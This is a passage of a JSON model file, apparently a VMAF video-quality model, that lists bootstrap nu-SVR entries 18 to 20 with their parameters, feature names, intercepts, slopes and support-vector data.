6:0.53322825 \n-4 1:0.83887552 2:0.08765484 3:0.58154998 4:0.82429855 5:0.8858516 6:0.91563291 \n4 1:0.89192404 2:0.49612229 3:0.59146724 4:0.78105663 5:0.84916292 6:0.8882561 \n4 1:0.85877443 2:0.42532178 3:0.43562507 4:0.80721931 5:0.87934044 6:0.91434143 \n-4 1:0.4874691 2:0.23066177 3:0.32329421 4:0.33686197 5:0.39456977 6:0.44944683 \n-4 1:0.74673262 2:0.20629643 3:0.21465833 4:0.65034545 5:0.76692184 6:0.82551595 \n4 1:0.81789029 2:0.48885268 3:0.44075432 4:0.7803455 5:0.86328719 6:0.90222545 \n4 1:0.67721467 2:0.49739676 3:0.37192301 4:0.52750491 5:0.62426522 6:0.6929947 \n4 1:0.87931568 2:0.22767235 3:0.31750162 4:0.85145925 5:0.9121085 6:0.93772147 \n-4 1:0.57776221 2:0.08765484 3:0.42071301 4:0.56376512 5:0.66454599 6:0.741236 \n-4 1:0.54042467 2:0.15600331 3:0.046271684 4:0.4328793 5:0.5309142 6:0.59282089 \n-4 1:0.84127012 2:0.014623935 3:0.81253935 4:0.95982371 5:0.98309178 6:0.9870796 \n4 1:0.79670443 2:0.54342577 3:0.26295318 4:0.6905031 5:0.79291823 6:0.84469464 \n-4 1:0.71167822 2:0.014623935 3:0.78422805 4:0.88268036 5:0.94383829 6:0.96596858 \n-4 1:0.65317124 2:0.25207203 3:0.23994344 4:0.52538719 5:0.5891732 6:0.62164073 \n4 1:0.94938914 2:0.055921852 3:0.61526026 4:0.94655706 5:0.97211195 6:0.98210701 \n-4 1:0.73985421 2:0.04579546 3:0.499439 4:0.84012074 5:0.90229375 6:0.92936693 \n4 1:0.91737037 2:0.49612229 3:0.66823667 4:0.86050887 5:0.90873162 6:0.93335071 \n4 1:0.86064316 2:0.08765484 3:0.62680052 4:0.88208508 5:0.93041565 6:0.9505376 \n-4 1:0.74999802 2:0.08765484 3:0.52069978 4:0.74484555 5:0.83431246 6:0.87935204 \n-4 1:0.72871424 2:0.014623935 3:0.78701408 4:0.89679281 5:0.96056131 6:0.977629 \n4 1:0.62552631 2:0.49739676 3:0.30895604 4:0.40532955 5:0.48355121 6:0.54476585 \n4 1:0.82277534 2:0.23066177 3:0.56208506 4:0.76164281 5:0.83176644 6:0.86914911 \n-4 1:0.59976014 2:0.04579546 3:0.42297435 4:0.72390263 5:0.83364665 6:0.88344569 \n-4 1:0.65289017 2:0.48885268 3:0.31268451 4:0.5167094 5:0.61224976 6:0.68477529 \n4 1:0.79391726 2:0.49612229 3:0.444392 4:0.61630491 5:0.71210086 6:0.77386496 \n4 1:0.91785848 2:0.083369236 3:0.63999999 4:0.90398906 5:0.94897505 6:0.96762621 \n3.806166866699888 1:0.4730794 3:0.11866359 4:0.58816959 5:0.86435738 6:0.96191842 \n-4 1:0.66382463 2:0.93973481 3:0.28594627 4:0.63969879 5:0.73360583 6:0.78380069 \n4 1:1 3:0.83319067 4:0.98956086 5:0.99577089 6:0.99784595 \n4 1:0.71284767 2:0.22767235 3:0.2263303 4:0.68859985 5:0.78706365 6:0.83662428 \n-4 1:0.66144997 2:0.15600331 3:0.068820233 4:0.51732819 5:0.62198733 6:0.67977328 \n4 1:0.78180974 2:0.04579546 3:0.54174294 4:0.92424698 5:0.96600395 6:0.97868211 \n3.723435430816093 1:0.62552631 2:0.49739676 3:0.30895604 4:0.40532955 5:0.48355121 6:0.54476585 \n-4 1:0.70300609 2:0.15600331 3:0.091457045 4:0.60849701 5:0.72282659 6:0.78137183 \n4 1:0.29443857 2:0.055921852 3:0.19401703 4:0.41679982 5:0.61495039 6:0.74140301 \n-4 1:0.74565796 2:0.15600331 3:0.089218917 4:0.58797907 5:0.69284768 6:0.74971699 \n3.217533795662864 1:0.75700132 2:1 3:0.28883701 4:0.65284485 5:0.75623242 6:0.81297442 \n-4 1:0.76258425 2:0.16787772 3:0.60695536 4:0.80906778 5:0.87125816 6:0.89810007 \n4 1:0.91202697 2:0.42532178 3:0.50912639 4:0.87959883 5:0.93223488 6:0.95450335 \n&quot;,
            &quot;slopes&quot;: [
                0.012020766332648465,
                2.7863890579902773,
                0.06264407466686016,
                1.222763456258933,
                1.5360318811084146,
                1.7620864995501058,
                2.08656468286432
            ]
        }
    },
    &quot;18&quot;: {
        &quot;param_dict&quot;: {
            &quot;C&quot;: 4.0,
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;norm_type&quot;: &quot;clip_0to1&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;num_models&quot;: 21,
            &quot;nu&quot;: 0.9,
            &quot;gamma&quot;: 0.04
        },
        &quot;model_dict&quot;: {
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;feature_dict&quot;: {
                &quot;VMAF_integer_feature&quot;: [
                    &quot;vif_scale0&quot;,
                    &quot;vif_scale1&quot;,
                    &quot;vif_scale2&quot;,
                    &quot;vif_scale3&quot;,
                    &quot;adm2&quot;,
                    &quot;motion2&quot;
                ]
            },
            &quot;norm_type&quot;: &quot;linear_rescale&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;feature_names&quot;: [
                &quot;VMAF_integer_feature_adm2_score&quot;,
                &quot;VMAF_integer_feature_motion2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale0_score&quot;,
                &quot;VMAF_integer_feature_vif_scale1_score&quot;,
                &quot;VMAF_integer_feature_vif_scale2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale3_score&quot;
            ],
            &quot;intercepts&quot;: [
                -0.3092981927591963,
                -1.778561646908718,
                -0.003017198086831897,
                -0.1728125095425364,
                -0.5294309090081222,
                -0.7577185792093722,
                -1.083428597549764
            ],
            &quot;model_type&quot;: &quot;BOOTSTRAP_LIBSVMNUSVR&quot;,
            &quot;model&quot;: &quot;svm_type nu_svr\nkernel_type rbf\ngamma 0.04\nnr_class 2\ntotal_sv 211\nrho -1.00499\nSV\n-4 1:0.51012298 2:0.25207203 3:0.2005129 4:0.41516485 5:0.45282017 6:0.47396143 \n4 1:0.78020364 2:0.23066177 3:0.50145055 4:0.66525882 5:0.74327951 6:0.79017822 \n-4 1:0.47722492 2:0.014623935 3:0.75468972 4:0.76017077 5:0.83753774 6:0.92265059 \n4 1:0.90420201 2:0.15600331 3:0.19693206 4:0.86294641 5:0.92990351 6:0.95498998 \n4 1:0.40588686 2:0.42532178 3:0.20589097 4:0.35241209 5:0.40358156 6:0.42577381 \n-4 1:0.88260358 2:0.083369236 3:0.57279245 4:0.85249389 5:0.91751611 6:0.94621989 \n-4 1:0.51603659 2:1 3:0.14452095 4:0.31406915 5:0.38353445 6:0.42653517 \n4 1:0.78333908 2:0.20629643 3:0.24707248 4:0.72284103 5:0.83178838 6:0.88053503 \n4 1:0.79391726 2:0.49612229 3:0.444392 4:0.61630491 5:0.71210086 6:0.77386496 \n4 1:0.29443857 2:0.055921852 3:0.19401703 4:0.41679982 5:0.61495039 6:0.74140301 \n-4 1:0.68443073 2:0.047285912 3:0.44652268 4:0.77691812 5:0.81043483 6:0.8177009 \n-4 1:0.72319868 2:0.16787772 3:0.57600091 4:0.75310216 5:0.81471966 6:0.84249923 \n4 1:0.61928338 2:0.22767235 3:0.15963705 4:0.51010642 5:0.59283393 6:0.63883591 \n-4 1:0.74999802 2:0.08765484 3:0.52069978 4:0.74484555 5:0.83431246 6:0.87935204 \n-4 1:0.40634904 2:0.04579546 3:0.35412414 4:0.55926446 5:0.70175505 6:0.79649177 \n4 1:0.40588686 2:0.42532178 3:0.20589097 4:0.35241209 5:0.40358156 6:0.42577381 \n-4 1:0.91951481 2:0.16787772 3:0.7239389 4:0.94244479 5:0.9681932 6:0.97806033 \n-4 1:0.70300609 2:0.15600331 3:0.091457045 4:0.60849701 5:0.72282659 6:0.78137183 \n-4 1:0.60283702 2:0.083369236 3:0.33229353 4:0.48675881 5:0.60141743 6:0.67458413 \n4 1:0.6092064 2:0.58937038 3:0.34931828 4:0.4519606 5:0.54893247 6:0.61355219 \n4 1:0.87998127 2:0.15600331 3:0.1625414 4:0.81948421 5:0.90185357 6:0.9347395 \n4 1:0.67569895 2:0.49739676 3:0.30599867 4:0.39201262 5:0.45927759 6:0.51239284 \n4 1:0.57348929 2:0.42532178 3:0.24033766 4:0.43855753 5:0.50243186 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5:0.29544562 6:0.33843061 \n-4 1:0.69622281 2:0.25207203 3:0.27393051 4:0.60399854 5:0.68000038 6:0.72275152 \n-4 1:0.65317124 2:0.25207203 3:0.23994344 4:0.52538719 5:0.5891732 6:0.62164073 \n-4 1:0.91941823 2:0.93973481 3:0.41336953 4:0.88038833 5:0.93688884 6:0.95992879 \n4 1:0.57348929 2:0.42532178 3:0.24033766 4:0.43855753 5:0.50243186 6:0.53322825 \n-4 1:0.5724789 2:0.014623935 3:0.77708563 4:0.84258654 5:0.91016348 6:0.95440359 \n-4 1:0.70300609 2:0.15600331 3:0.091457045 4:0.60849701 5:0.72282659 6:0.78137183 \n4 1:0.66777856 2:0.42532178 3:0.30879992 4:0.60375124 5:0.70097073 6:0.75507206 \n-4 1:0.69518774 2:0.20629643 3:0.1796405 4:0.56432133 5:0.68049028 6:0.74616621 \n-4 1:0.57776221 2:0.08765484 3:0.42071301 4:0.56376512 5:0.66454599 6:0.741236 \n4 1:1 3:0.83319067 4:0.98956086 5:0.99577089 6:0.99784595 \n4 1:0.87062235 2:0.49739676 3:0.53966638 4:0.77392585 5:0.84784447 6:0.89031641 \n4 1:0.77998422 2:0.49739676 3:0.43832146 4:0.63397606 5:0.7240692 6:0.78367237 \n4 1:0.77998422 2:0.49739676 3:0.43832146 4:0.63397606 5:0.7240692 6:0.78367237 \n-4 1:0.6483368 2:0.04579546 3:0.45989947 4:0.82115248 5:0.92520734 6:0.9594384 \n-4 1:0.74999802 2:0.08765484 3:0.52069978 4:0.74484555 5:0.83431246 6:0.87935204 \n4 1:0.74208953 2:0.055921852 3:0.34721658 4:0.73960747 5:0.84370247 6:0.88485372 \n-4 1:0.70300609 2:0.15600331 3:0.091457045 4:0.60849701 5:0.72282659 6:0.78137183 \n-4 1:0.69691564 2:0.48885268 3:0.35289928 4:0.61359907 5:0.7217863 6:0.78790011 \n4 1:0.28569186 2:0.20629643 3:0.076468978 4:0.29833807 5:0.37989948 6:0.4576277 \n4 1:0.99718538 2:0.014623935 3:1 4:1 5:1 6:1 \n-4 1:0.26623337 2:1 3:0.084027451 4:0.15537936 5:0.17410072 6:0.17212333 \n4 1:0.91737037 2:0.49612229 3:0.66823667 4:0.86050887 5:0.90873162 6:0.93335071 \n-4 1:0.6483368 2:0.04579546 3:0.45989947 4:0.82115248 5:0.92520734 6:0.9594384 \n-4 1:0.68443073 2:0.047285912 3:0.44652268 4:0.77691812 5:0.81043483 6:0.8177009 \n-4 1:0.51603659 2:1 3:0.14452095 4:0.31406915 5:0.38353445 6:0.42653517 \n4 1:0.76399364 2:0.04579546 3:0.52334234 4:0.88859427 5:0.94013924 6:0.95946903 \n-4 1:0.77257175 2:0.08765484 3:0.5597726 4:0.80653689 5:0.88996341 6:0.92691132 \n-4 1:0.74565796 2:0.15600331 3:0.089218917 4:0.58797907 5:0.69284768 6:0.74971699 \n-4 1:0.83089047 2:0.014623935 3:0.80905852 4:0.94637428 5:0.97242826 6:0.97946694 \n-0.284844952026575 1:0.38478895 2:0.083369236 3:0.28184137 4:0.37025203 5:0.46733936 6:0.53517338 \n4 1:0.25896526 2:0.04579546 3:0.31879 4:0.45852885 5:0.59717781 6:0.71487885 \n-4 1:0.45809369 2:0.08765484 3:0.36628046 4:0.45852823 5:0.56005228 6:0.65708595 \n-4 1:0.74285042 2:0.48885268 3:0.35394597 4:0.61189191 5:0.70897304 6:0.77099691 \n-4 1:0.83887552 2:0.08765484 3:0.58154998 4:0.82429855 5:0.8858516 6:0.91563291 \n4 1:0.69386127 3:0.2174879 4:0.84423613 5:0.9662906 6:0.98430594 \n-4 1:0.88260358 2:0.083369236 3:0.57279245 4:0.85249389 5:0.91751611 6:0.94621989 \n4 1:0.96968854 2:0.08765484 3:0.77391346 4:0.95596295 5:0.97544784 6:0.98405871 \n-4 1:0.66561759 2:0.083369236 3:0.37833052 4:0.59301482 5:0.71772587 6:0.7905538 \n-4 1:0.54042467 2:0.15600331 3:0.046271684 4:0.4328793 5:0.5309142 6:0.59282089 \n-4 1:0.93556416 2:0.58937038 3:0.65797705 4:0.87169952 5:0.92200942 6:0.94454256 \n&quot;,
            &quot;slopes&quot;: [
                0.012020766332648465,
                2.7863890579902773,
                0.06264407466686016,
                1.222763456258933,
                1.5360318811084146,
                1.7620864995501058,
                2.08656468286432
            ]
        }
    },
    &quot;19&quot;: {
        &quot;param_dict&quot;: {
            &quot;C&quot;: 4.0,
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;norm_type&quot;: &quot;clip_0to1&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;num_models&quot;: 21,
            &quot;nu&quot;: 0.9,
            &quot;gamma&quot;: 0.04
        },
        &quot;model_dict&quot;: {
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;feature_dict&quot;: {
                &quot;VMAF_integer_feature&quot;: [
                    &quot;vif_scale0&quot;,
                    &quot;vif_scale1&quot;,
                    &quot;vif_scale2&quot;,
                    &quot;vif_scale3&quot;,
                    &quot;adm2&quot;,
                    &quot;motion2&quot;
                ]
            },
            &quot;norm_type&quot;: &quot;linear_rescale&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;feature_names&quot;: [
                &quot;VMAF_integer_feature_adm2_score&quot;,
                &quot;VMAF_integer_feature_motion2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale0_score&quot;,
                &quot;VMAF_integer_feature_vif_scale1_score&quot;,
                &quot;VMAF_integer_feature_vif_scale2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale3_score&quot;
            ],
            &quot;intercepts&quot;: [
                -0.3092981927591963,
                -1.778561646908718,
                -0.003017198086831897,
                -0.1728125095425364,
                -0.5294309090081222,
                -0.7577185792093722,
                -1.083428597549764
            ],
            &quot;model_type&quot;: &quot;BOOTSTRAP_LIBSVMNUSVR&quot;,
            &quot;model&quot;: &quot;svm_type nu_svr\nkernel_type rbf\ngamma 0.04\nnr_class 2\ntotal_sv 210\nrho -1.68654\nSV\n-4 1:0.66382463 2:0.93973481 3:0.28594627 4:0.63969879 5:0.73360583 6:0.78380069 \n4 1:0.25896526 2:0.04579546 3:0.31879 4:0.45852885 5:0.59717781 6:0.71487885 \n-4 1:0.68687464 2:0.93973481 3:0.2669659 4:0.56720118 5:0.63868728 6:0.67673331 \n4 1:0.78020364 2:0.23066177 3:0.50145055 4:0.66525882 5:0.74327951 6:0.79017822 \n-4 1:0.41563731 2:0.48885268 3:0.2554221 4:0.36916892 5:0.43100226 6:0.50888404 \n-4 1:0.73251944 2:0.15600331 3:0.11085278 4:0.68794624 5:0.80350923 6:0.85660483 \n4 1:0.90795371 2:0.58937038 3:0.58823535 4:0.80035053 5:0.86988422 6:0.90533033 \n-4 1:0.79681394 2:0.083369236 3:0.48094343 4:0.76665994 5:0.86191893 6:0.90760934 \n4 1:1 3:0.83319067 4:0.98956086 5:0.99577089 6:0.99784595 \n4 1:0.34770698 2:0.58937038 3:0.24672569 4:0.24188506 5:0.29544562 6:0.33843061 \n4 1:0.61928338 2:0.22767235 3:0.15963705 4:0.51010642 5:0.59283393 6:0.63883591 \n-4 1:0.72960023 2:0.93973481 3:0.29554025 4:0.64471949 5:0.72634443 6:0.77062686 \n4 1:0.67022121 2:0.49612229 3:0.27766156 4:0.33407105 5:0.40732401 6:0.46359154 \n-4 1:0.71777065 2:0.08765484 3:0.47011786 4:0.66069877 5:0.75226598 6:0.80539407 \n4 1:0.89725962 2:0.48885268 3:0.5143645 4:0.8587242 5:0.91841685 6:0.94498293 \n4 1:0.91839373 2:0.04579546 3:0.69472114 4:0.97790884 5:0.9891237 6:0.993277 \n4 1:0.74778935 2:0.58937038 3:0.41507439 4:0.56413083 5:0.65815516 6:0.7166999 \n4 1:0.7890525 2:0.20820673 3:0.3510016 4:0.74206651 5:0.83508543 6:0.88101902 \n-4 1:0.74644956 2:0.34681232 3:0.12095689 4:0.68834617 5:0.77453583 6:0.81892861 \n-4 1:0.74285042 2:0.48885268 3:0.35394597 4:0.61189191 5:0.70897304 6:0.77099691 \n4 1:0.73867648 2:0.49612229 3:0.35967401 4:0.47825205 5:0.57045236 6:0.63752441 \n4 1:0.39053999 2:0.20820673 3:0.17753958 4:0.33495583 5:0.39777832 6:0.44399359 \n4 1:0.88220599 2:0.20820673 3:0.40997978 4:0.82462749 5:0.89794736 6:0.93142825 \n4 1:0.3594872 2:0.49612229 3:0.14024497 4:0.074708413 5:0.10231651 6:0.1259153 \n-4 1:0.74999802 2:0.08765484 3:0.52069978 4:0.74484555 5:0.83431246 6:0.87935204 \n-4 1:0.32027025 2:0.49739676 3:0.17094319 4:0.12195679 5:0.13277563 6:0.14165413 \n-4 1:0.8811176 2:0.047285912 3:0.53826775 4:0.933335 5:0.95948954 6:0.96870909 \n4 1:0.96968854 2:0.08765484 3:0.77391346 4:0.95596295 5:0.97544784 6:0.98405871 \n-4 1:0.62949718 2:0.04579546 3:0.44400319 4:0.77920819 5:0.88713866 6:0.92903178 \n4 1:0.75731817 2:0.42532178 3:0.35347476 4:0.69239941 5:0.78245146 6:0.83117443 \n-4 1:0.52033349 2:0.48885268 3:0.27824915 4:0.42915458 5:0.50850476 6:0.58585271 \n-4 1:0.69816754 2:0.34681232 3:0.11526222 4:0.68549511 5:0.78556255 6:0.83507583 \n4 1:0.81789029 2:0.48885268 3:0.44075432 4:0.7803455 5:0.86328719 6:0.90222545 \n-4 1:0.69691564 2:0.48885268 3:0.35289928 4:0.61359907 5:0.7217863 6:0.78790011 \n4 1:0.91202697 2:0.42532178 3:0.50912639 4:0.87959883 5:0.93223488 6:0.95450335 \n-4 1:0.32027025 2:0.49739676 3:0.17094319 4:0.12195679 5:0.13277563 6:0.14165413 \n4 1:0.90420201 2:0.15600331 3:0.19693206 4:0.86294641 5:0.92990351 6:0.95498998 \n-4 1:0.93556416 2:0.58937038 3:0.65797705 4:0.87169952 5:0.92200942 6:0.94454256 \n-4 1:0.69716201 2:0.25207203 3:0.26283557 4:0.58611788 5:0.65192525 6:0.69015011 \n-4 1:0.74598388 2:0.16787772 3:0.57222383 4:0.74405775 5:0.79993424 6:0.82484891 \n-4 1:0.66561759 2:0.083369236 3:0.37833052 4:0.59301482 5:0.71772587 6:0.7905538 \n-2.730379422168404 1:0.8811176 2:0.047285912 3:0.53826775 4:0.933335 5:0.95948954 6:0.96870909 \n4 1:0.93011029 2:0.23066177 3:0.71439481 4:0.90904598 5:0.94146542 6:0.95674338 \n4 1:0.8789356 2:0.54342577 3:0.32439292 4:0.78747769 5:0.87303614 6:0.91271252 \n-4 1:0.88260358 2:0.083369236 3:0.57279245 4:0.85249389 5:0.91751611 6:0.94621989 \n-4 1:0.59637711 2:1 3:0.19031962 4:0.43030863 5:0.5277316 6:0.59069772 \n-4 1:0.62949394 2:0.23066177 3:0.3800888 4:0.44927578 5:0.52327759 6:0.57907725 \n4 1:0.8789356 2:0.54342577 3:0.32439292 4:0.78747769 5:0.87303614 6:0.91271252 \n4 1:0.90420201 2:0.15600331 3:0.19693206 4:0.86294641 5:0.92990351 6:0.95498998 \n4 1:0.5898908 2:0.055921852 3:0.31791569 4:0.72365433 5:0.88324129 6:0.93484545 \n-2.196740973442813 1:0.38478895 2:0.083369236 3:0.28184137 4:0.37025203 5:0.46733936 6:0.53517338 \n-4 1:0.75664435 2:0.54342577 3:0.22334634 4:0.60145902 5:0.70573225 6:0.76318544 \n-4 1:0.60283702 2:0.083369236 3:0.33229353 4:0.48675881 5:0.60141743 6:0.67458413 \n4 1:0.89291952 2:0.16787772 3:0.69408521 4:0.91495146 5:0.94890261 6:0.96269344 \n4 1:0.90057657 2:0.23066177 3:0.65873851 4:0.86090402 5:0.90661213 6:0.93008753 \n-4 1:0.90573613 2:0.047285912 3:0.55323777 4:0.95113339 5:0.97249918 6:0.9795177 \n-4 1:0.93181136 2:0.49739676 3:0.62713449 4:0.86099016 5:0.91514168 6:0.94169199 \n-4 1:0.72871424 2:0.014623935 3:0.78701408 4:0.89679281 5:0.96056131 6:0.977629 \n4 1:0.40588686 2:0.42532178 3:0.20589097 4:0.35241209 5:0.40358156 6:0.42577381 \n4 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1:0.38478895 2:0.083369236 3:0.28184137 4:0.37025203 5:0.46733936 6:0.53517338 \n-4 1:0.26623337 2:1 3:0.084027451 4:0.15537936 5:0.17410072 6:0.17212333 \n4 1:0.30512267 2:0.42532178 3:0.18976794 4:0.30662908 5:0.34637104 6:0.3661022 \n4 1:0.96968854 2:0.08765484 3:0.77391346 4:0.95596295 5:0.97544784 6:0.98405871 \n-4 1:0.43871049 2:0.15600331 3:0.030541611 4:0.37279112 5:0.4588284 6:0.52004828 \n-4 1:0.59976014 2:0.04579546 3:0.42297435 4:0.72390263 5:0.83364665 6:0.88344569 \n4 1:0.98791521 2:0.04579546 3:0.90293444 4:0.99181622 5:0.99642641 6:0.9978864 \n4 1:0.71284767 2:0.22767235 3:0.2263303 4:0.68859985 5:0.78706365 6:0.83662428 \n4 1:0.3594872 2:0.49612229 3:0.14024497 4:0.074708413 5:0.10231651 6:0.1259153 \n4 1:0.98791521 2:0.04579546 3:0.90293444 4:0.99181622 5:0.99642641 6:0.9978864 \n4 1:0.49591192 2:0.22767235 3:0.13362033 4:0.43434224 5:0.49900609 6:0.53177669 \n-4 1:0.60283702 2:0.083369236 3:0.33229353 4:0.48675881 5:0.60141743 6:0.67458413 \n-4 1:0.66382463 2:0.93973481 3:0.28594627 4:0.63969879 5:0.73360583 6:0.78380069 \n-4 1:0.4874691 2:0.23066177 3:0.32329421 4:0.33686197 5:0.39456977 6:0.44944683 \n4 1:0.10775597 2:0.055921852 3:0.1590151 4:0.30536689 5:0.48614515 6:0.64344462 \n-4 1:0.78583004 2:0.48885268 3:0.4012577 4:0.70792536 5:0.80063653 6:0.85083872 \n4 1:0.66777856 2:0.42532178 3:0.30879992 4:0.60375124 5:0.70097073 6:0.75507206 \n-4 1:0.51012298 2:0.25207203 3:0.2005129 4:0.41516485 5:0.45282017 6:0.47396143 \n-4 1:0.48387441 2:0.20820673 3:0.20172681 4:0.39715881 5:0.47368229 6:0.52781628 \n4 1:0.87998127 2:0.15600331 3:0.1625414 4:0.81948421 5:0.90185357 6:0.9347395 \n3.566776002325675 1:0.5343717 2:0.49612229 3:0.20276685 4:0.2004308 5:0.25758651 6:0.30054029 \n-4 1:0.45809369 2:0.08765484 3:0.36628046 4:0.45852823 5:0.56005228 6:0.65708595 \n-4 1:0.69691564 2:0.48885268 3:0.35289928 4:0.61359907 5:0.7217863 6:0.78790011 \n3.139278243844358 1:0.3594872 2:0.49612229 3:0.14024497 4:0.074708413 5:0.10231651 6:0.1259153 \n4 1:0.89725962 2:0.48885268 3:0.5143645 4:0.8587242 5:0.91841685 6:0.94498293 \n1.697481244365876 1:0.54792627 2:0.055921852 3:0.26207179 4:0.59416461 5:0.75957205 6:0.82870539 \n4 1:0.98791521 2:0.04579546 3:0.90293444 4:0.99181622 5:0.99642641 6:0.9978864 \n-4 1:0.78583004 2:0.48885268 3:0.4012577 4:0.70792536 5:0.80063653 6:0.85083872 \n&quot;,
            &quot;slopes&quot;: [
                0.012020766332648465,
                2.7863890579902773,
                0.06264407466686016,
                1.222763456258933,
                1.5360318811084146,
                1.7620864995501058,
                2.08656468286432
            ]
        }
    },
    &quot;20&quot;: {
        &quot;param_dict&quot;: {
            &quot;C&quot;: 4.0,
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;norm_type&quot;: &quot;clip_0to1&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;num_models&quot;: 21,
            &quot;nu&quot;: 0.9,
            &quot;gamma&quot;: 0.04
        },
        &quot;model_dict&quot;: {
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;feature_dict&quot;: {
                &quot;VMAF_integer_feature&quot;: [
                    &quot;vif_scale0&quot;,
                    &quot;vif_scale1&quot;,
                    &quot;vif_scale2&quot;,
                    &quot;vif_scale3&quot;,
                    &quot;adm2&quot;,
                    &quot;motion2&quot;
                ]
            },
            &quot;norm_type&quot;: &quot;linear_rescale&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;feature_names&quot;: [
                &quot;VMAF_integer_feature_adm2_score&quot;,
                &quot;VMAF_integer_feature_motion2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale0_score&quot;,
                &quot;VMAF_integer_feature_vif_scale1_score&quot;,
                &quot;VMAF_integer_feature_vif_scale2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale3_score&quot;
            ],
            &quot;intercepts&quot;: [
                -0.3092981927591963,
                -1.778561646908718,
                -0.003017198086831897,
                -0.1728125095425364,
                -0.5294309090081222,
                -0.7577185792093722,
                -1.083428597549764
            ],
            &quot;model_type&quot;: &quot;BOOTSTRAP_LIBSVMNUSVR&quot;,
            &quot;model&quot;: &quot;svm_type nu_svr\nkernel_type rbf\ngamma 0.04\nnr_class 2\ntotal_sv 212\nrho -1.53695\nSV\n4 1:0.87062235 2:0.49739676 3:0.53966638 4:0.77392585 5:0.84784447 6:0.89031641 \n4 1:0.79670443 2:0.54342577 3:0.26295318 4:0.6905031 5:0.79291823 6:0.84469464 \n-4 1:0.5810431 2:0.047285912 3:0.43113594 4:0.74141738 5:0.76929188 6:0.77018949 \n4 1:0.78101613 2:0.055921852 3:0.42192974 4:0.86711004 5:0.94030868 6:0.96084539 \n4 1:0.79670443 2:0.54342577 3:0.26295318 4:0.6905031 5:0.79291823 6:0.84469464 \n4 1:0.89291952 2:0.16787772 3:0.69408521 4:0.91495146 5:0.94890261 6:0.96269344 \n-4 1:0.79342163 2:0.16787772 3:0.60849279 4:0.80724494 5:0.86183239 6:0.88618408 \n-4 1:0.70300609 2:0.15600331 3:0.091457045 4:0.60849701 5:0.72282659 6:0.78137183 \n4 1:1 3:0.83319067 4:0.98956086 5:0.99577089 6:0.99784595 \n-4 1:0.74285042 2:0.48885268 3:0.35394597 4:0.61189191 5:0.70897304 6:0.77099691 \n4 1:0.34770698 2:0.58937038 3:0.24672569 4:0.24188506 5:0.29544562 6:0.33843061 \n-4 1:0.76491447 2:0.047285912 3:0.49613729 4:0.87838146 5:0.91688438 6:0.93150362 \n4 1:0.95273022 2:0.014623935 3:0.90135809 4:0.99584619 5:0.9970631 6:0.99757649 \n-4 1:0.8048121 2:0.25207203 3:0.3681723 4:0.80658472 5:0.8702283 6:0.90583519 \n-4 1:0.32002648 2:0.54342577 3:0.072456434 4:0.24261286 5:0.29785605 6:0.33368644 \n4 1:0.79670443 2:0.54342577 3:0.26295318 4:0.6905031 5:0.79291823 6:0.84469464 \n4 1:0.46600264 3:0.11185039 4:0.56180003 5:0.83415721 6:0.93617329 \n4 1:0.8789356 2:0.54342577 3:0.32439292 4:0.78747769 5:0.87303614 6:0.91271252 \n-1.387963335803035 1:0.69004118 2:0.23066177 3:0.43933868 4:0.56327049 5:0.65339511 6:0.71348696 \n4 1:0.40588686 2:0.42532178 3:0.20589097 4:0.35241209 5:0.40358156 6:0.42577381 \n-4 1:0.76258425 2:0.16787772 3:0.60695536 4:0.80906778 5:0.87125816 6:0.89810007 \n4 1:0.56142653 2:0.49739676 3:0.24752355 4:0.28326524 5:0.33261781 6:0.37104424 \n-4 1:0.32027025 2:0.49739676 3:0.17094319 4:0.12195679 5:0.13277563 6:0.14165413 \n4 1:0.5343717 2:0.49612229 3:0.20276685 4:0.2004308 5:0.25758651 6:0.30054029 \n-4 1:0.75331875 2:0.047285912 3:0.46606653 4:0.81323145 5:0.84847474 6:0.85892657 \n-4 1:0.68443073 2:0.047285912 3:0.44652268 4:0.77691812 5:0.81043483 6:0.8177009 \n4 1:0.61342581 2:0.49612229 3:0.27561601 4:0.33977371 5:0.4325213 6:0.50244952 \n4 1:0.46600264 3:0.11185039 4:0.56180003 5:0.83415721 6:0.93617329 \n-4 1:0.83089047 2:0.014623935 3:0.80905852 4:0.94637428 5:0.97242826 6:0.97946694 \n4 1:0.39053999 2:0.20820673 3:0.17753958 4:0.33495583 5:0.39777832 6:0.44399359 \n-4 1:0.69517962 2:0.083369236 3:0.36350305 4:0.54888271 5:0.66506794 6:0.73685112 \n4 1:0.4730794 3:0.11866359 4:0.58816959 5:0.86435738 6:0.96191842 \n4 1:0.71284767 2:0.22767235 3:0.2263303 4:0.68859985 5:0.78706365 6:0.83662428 \n4 1:0.91728681 2:0.20820673 3:0.45891267 4:0.87823329 5:0.93535353 6:0.95883927 \n4 